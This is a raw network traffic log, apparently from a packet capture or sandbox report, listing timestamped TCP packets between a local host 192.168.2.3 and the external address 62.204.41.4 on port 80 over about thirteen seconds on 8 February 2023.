Feb 8, 2023 21:32:31.971997023 CET	49972	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:32.032541037 CET	80	49972	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:32.051207066 CET	49972	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:32.067364931 CET	49972	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:32.127958059 CET	80	49972	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:32.132452011 CET	80	49972	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:32.153002024 CET	49972	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:32.325198889 CET	49972	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:32.326534033 CET	49973	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:32.392024994 CET	80	49972	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:32.392398119 CET	80	49973	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:32.397367001 CET	49972	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:32.397388935 CET	49973	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:32.423801899 CET	49973	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:32.484474897 CET	80	49973	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:32.487102985 CET	80	49973	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:32.502238989 CET	49973	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:32.681669950 CET	49973	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:32.683171034 CET	49974	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:32.742356062 CET	80	49973	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:32.743261099 CET	49973	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:32.746047974 CET	80	49974	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:32.750236988 CET	49974	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:32.751955986 CET	49974	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:32.814660072 CET	80	49974	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:32.816646099 CET	80	49974	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:32.820398092 CET	49974	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:33.812056065 CET	49974	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:33.812931061 CET	49975	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:33.881891012 CET	80	49974	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:33.902159929 CET	49974	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:34.899807930 CET	80	49975	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:34.900022984 CET	49975	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:35.139303923 CET	49975	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:35.201030016 CET	80	49975	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:35.204358101 CET	80	49975	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:35.204521894 CET	49975	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:35.326080084 CET	49975	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:35.330909967 CET	49976	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:35.387120008 CET	80	49975	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:35.387310982 CET	49975	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:35.393584967 CET	80	49976	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:35.393871069 CET	49976	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:36.257085085 CET	49976	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:36.319747925 CET	80	49976	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:36.324114084 CET	80	49976	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:36.324233055 CET	49976	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:36.430207014 CET	49976	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:36.430953979 CET	49977	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:36.492502928 CET	80	49977	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:36.492677927 CET	80	49976	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:36.492701054 CET	49977	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:36.493086100 CET	49976	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:36.501859903 CET	49977	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:36.563509941 CET	80	49977	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:36.565764904 CET	80	49977	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:36.565890074 CET	49977	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:36.680538893 CET	49977	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:36.681422949 CET	49978	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:36.742289066 CET	80	49977	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:36.742459059 CET	49977	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:36.742841005 CET	80	49978	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:36.742968082 CET	49978	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:36.743998051 CET	49978	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:36.805325985 CET	80	49978	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:36.808079958 CET	80	49978	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:36.808317900 CET	49978	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:36.914942980 CET	49978	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:36.915630102 CET	49979	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:36.975213051 CET	80	49979	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:36.975738049 CET	49979	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:36.976414919 CET	80	49978	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:36.976517916 CET	49978	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:36.980540037 CET	49979	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.039855957 CET	80	49979	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:37.043481112 CET	80	49979	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:37.043739080 CET	49979	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.149380922 CET	49979	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.151086092 CET	49980	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.209110975 CET	80	49979	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:37.209270954 CET	49979	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.212018967 CET	80	49980	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:37.212255001 CET	49980	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.216068983 CET	49980	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.276814938 CET	80	49980	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:37.279519081 CET	80	49980	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:37.279707909 CET	49980	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.386406898 CET	49980	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.388098001 CET	49981	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.447128057 CET	80	49980	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:37.447319984 CET	49980	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.448611021 CET	80	49981	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:37.448837042 CET	49981	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.449608088 CET	49981	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.510046959 CET	80	49981	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:37.512573004 CET	80	49981	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:37.512743950 CET	49981	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.618993998 CET	49981	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.620629072 CET	49982	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.679676056 CET	80	49981	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:37.679877043 CET	49981	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.681288004 CET	80	49982	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:37.681497097 CET	49982	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.682518959 CET	49982	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.742863894 CET	80	49982	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:37.745387077 CET	80	49982	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:37.745703936 CET	49982	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.861215115 CET	49982	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.862020969 CET	49983	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.921658993 CET	80	49982	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:37.921871901 CET	49982	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.923512936 CET	80	49983	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:37.923667908 CET	49983	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.924287081 CET	49983	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:37.985888004 CET	80	49983	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:37.988426924 CET	80	49983	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:37.988553047 CET	49983	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.102468014 CET	49983	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.103396893 CET	49984	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.163985968 CET	80	49983	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:38.164033890 CET	80	49984	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:38.164139986 CET	49983	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.164236069 CET	49984	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.166013956 CET	49984	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.228322029 CET	80	49984	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:38.232606888 CET	80	49984	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:38.232748032 CET	49984	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.337131977 CET	49984	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.340569973 CET	49985	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.398096085 CET	80	49984	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:38.398197889 CET	49984	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.401256084 CET	80	49985	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:38.401412964 CET	49985	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.403501034 CET	49985	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.464092016 CET	80	49985	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:38.467078924 CET	80	49985	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:38.467235088 CET	49985	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.574105024 CET	49985	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.574867010 CET	49986	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.635016918 CET	80	49985	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:38.635207891 CET	49985	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.636266947 CET	80	49986	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:38.636416912 CET	49986	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.636974096 CET	49986	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.698607922 CET	80	49986	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:38.702825069 CET	80	49986	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:38.703012943 CET	49986	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.807075024 CET	49986	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.808376074 CET	49987	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.867976904 CET	80	49987	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:38.868117094 CET	49987	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.868567944 CET	49987	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.868649960 CET	80	49986	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:38.868777037 CET	49986	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:38.928037882 CET	80	49987	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:38.931410074 CET	80	49987	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:38.931529999 CET	49987	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.042773008 CET	49987	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.043509960 CET	49988	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.102761984 CET	80	49987	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:39.102844000 CET	49987	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.103879929 CET	80	49988	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:39.103979111 CET	49988	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.106972933 CET	49988	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.167395115 CET	80	49988	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:39.173105001 CET	80	49988	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:39.173196077 CET	49988	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.289894104 CET	49988	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.290749073 CET	49989	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.350404024 CET	80	49988	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:39.350464106 CET	80	49989	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:39.350509882 CET	49988	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.350589037 CET	49989	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.351030111 CET	49989	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.410893917 CET	80	49989	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:39.415781975 CET	80	49989	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:39.415895939 CET	49989	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.524324894 CET	49989	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.526715994 CET	49990	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.584342957 CET	80	49989	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:39.584517956 CET	49989	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.587328911 CET	80	49990	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:39.587517023 CET	49990	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.589080095 CET	49990	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.649559975 CET	80	49990	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:39.652473927 CET	80	49990	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:39.652589083 CET	49990	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.761976957 CET	49990	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.763236046 CET	49991	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.822732925 CET	80	49990	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:39.823790073 CET	80	49991	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:39.823896885 CET	49990	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.823985100 CET	49991	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.825639009 CET	49991	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.886173964 CET	80	49991	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:39.888402939 CET	80	49991	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:39.888542891 CET	49991	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.994888067 CET	49991	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:39.996087074 CET	49992	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.061125040 CET	80	49991	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:40.062503099 CET	49991	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.062931061 CET	80	49992	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:40.063076019 CET	49992	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.063951015 CET	49992	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.127729893 CET	80	49992	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:40.132488966 CET	80	49992	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:40.132884979 CET	49992	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.244885921 CET	49992	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.246148109 CET	49993	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.308902025 CET	80	49993	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:40.309084892 CET	49993	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.309192896 CET	80	49992	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:40.309268951 CET	49992	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.309536934 CET	49993	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.375791073 CET	80	49993	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:40.375819921 CET	80	49993	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:40.375893116 CET	49993	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.506911993 CET	49993	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.508115053 CET	49994	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.567926884 CET	80	49993	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:40.569385052 CET	80	49994	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:40.569545031 CET	49993	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.569596052 CET	49994	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.570822954 CET	49994	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.631458044 CET	80	49994	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:40.634799957 CET	80	49994	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:40.634937048 CET	49994	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.743340015 CET	49994	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.744117022 CET	49995	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.804456949 CET	80	49994	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:40.804646015 CET	49994	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.807682991 CET	80	49995	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:40.807843924 CET	49995	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.808312893 CET	49995	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.870840073 CET	80	49995	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:40.874547005 CET	80	49995	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:40.874701023 CET	49995	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.980669975 CET	49995	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:40.981518984 CET	49996	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.042746067 CET	80	49996	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:41.043325901 CET	49996	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.046762943 CET	80	49995	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:41.046901941 CET	49995	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.048048019 CET	49996	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.112145901 CET	80	49996	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:41.114902020 CET	80	49996	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:41.115061998 CET	49996	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.228008032 CET	49996	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.228964090 CET	49997	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.294787884 CET	80	49996	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:41.294811010 CET	80	49997	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:41.294959068 CET	49996	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.295079947 CET	49997	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.295556068 CET	49997	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.359133959 CET	80	49997	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:41.362737894 CET	80	49997	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:41.362845898 CET	49997	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.477988005 CET	49997	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.478809118 CET	49998	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.539289951 CET	80	49998	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:41.539547920 CET	49998	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.539619923 CET	80	49997	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:41.539701939 CET	49997	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.540596962 CET	49998	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.601166010 CET	80	49998	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:41.604485989 CET	80	49998	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:41.604669094 CET	49998	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.712233067 CET	49998	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.714124918 CET	49999	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.772913933 CET	80	49998	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:41.773139000 CET	49998	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.774468899 CET	80	49999	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:41.774626970 CET	49999	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.775058031 CET	49999	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.835364103 CET	80	49999	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:41.838279009 CET	80	49999	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:41.838474989 CET	49999	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.947947025 CET	49999	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:41.948884010 CET	50000	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:42.009213924 CET	80	49999	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:42.009368896 CET	49999	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:42.011029959 CET	80	50000	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:42.011208057 CET	50000	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:42.011738062 CET	50000	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:42.072931051 CET	80	50000	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:42.077291012 CET	80	50000	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:42.077502012 CET	50000	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:42.181174040 CET	50000	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:42.182337999 CET	50001	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:42.242671967 CET	80	50000	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:42.242795944 CET	50000	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:42.243765116 CET	80	50001	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:42.243892908 CET	50001	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:42.251605034 CET	50001	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:42.313076019 CET	80	50001	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:42.315658092 CET	80	50001	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:42.315802097 CET	50001	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:42.432049990 CET	50001	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:42.433044910 CET	50002	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:42.501872063 CET	80	50001	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:42.501970053 CET	50001	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:43.506828070 CET	80	50002	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:43.507046938 CET	50002	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:43.509977102 CET	50002	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:43.569799900 CET	80	50002	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:43.573843956 CET	80	50002	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:43.574012995 CET	50002	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:43.681612968 CET	50002	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:43.682488918 CET	50003	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:43.741492033 CET	80	50002	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:43.743045092 CET	50002	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:43.744235039 CET	80	50003	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:43.747201920 CET	50003	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:43.753417015 CET	50003	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:43.814986944 CET	80	50003	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:43.817357063 CET	80	50003	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:43.817605972 CET	50003	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:43.931334019 CET	50003	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:43.932305098 CET	50004	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:43.992840052 CET	80	50003	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:43.992975950 CET	50003	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:43.994497061 CET	80	50004	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:43.994646072 CET	50004	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:43.995455027 CET	50004	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.058234930 CET	80	50004	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:44.062264919 CET	80	50004	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:44.062963963 CET	50004	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.166009903 CET	50004	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.167896032 CET	50005	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.229542971 CET	80	50004	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:44.230918884 CET	50004	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.231446981 CET	80	50005	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:44.234992027 CET	50005	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.235622883 CET	50005	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.298382998 CET	80	50005	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:44.300940037 CET	80	50005	62.204.41.4	192.168.2.3
Feb 8, 2023 21:32:44.301076889 CET	50005	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.416208029 CET	50005	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.417371988 CET	50006	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:32:44.479074001 CET	80	50006	62.204.41.4	192.168.2.3
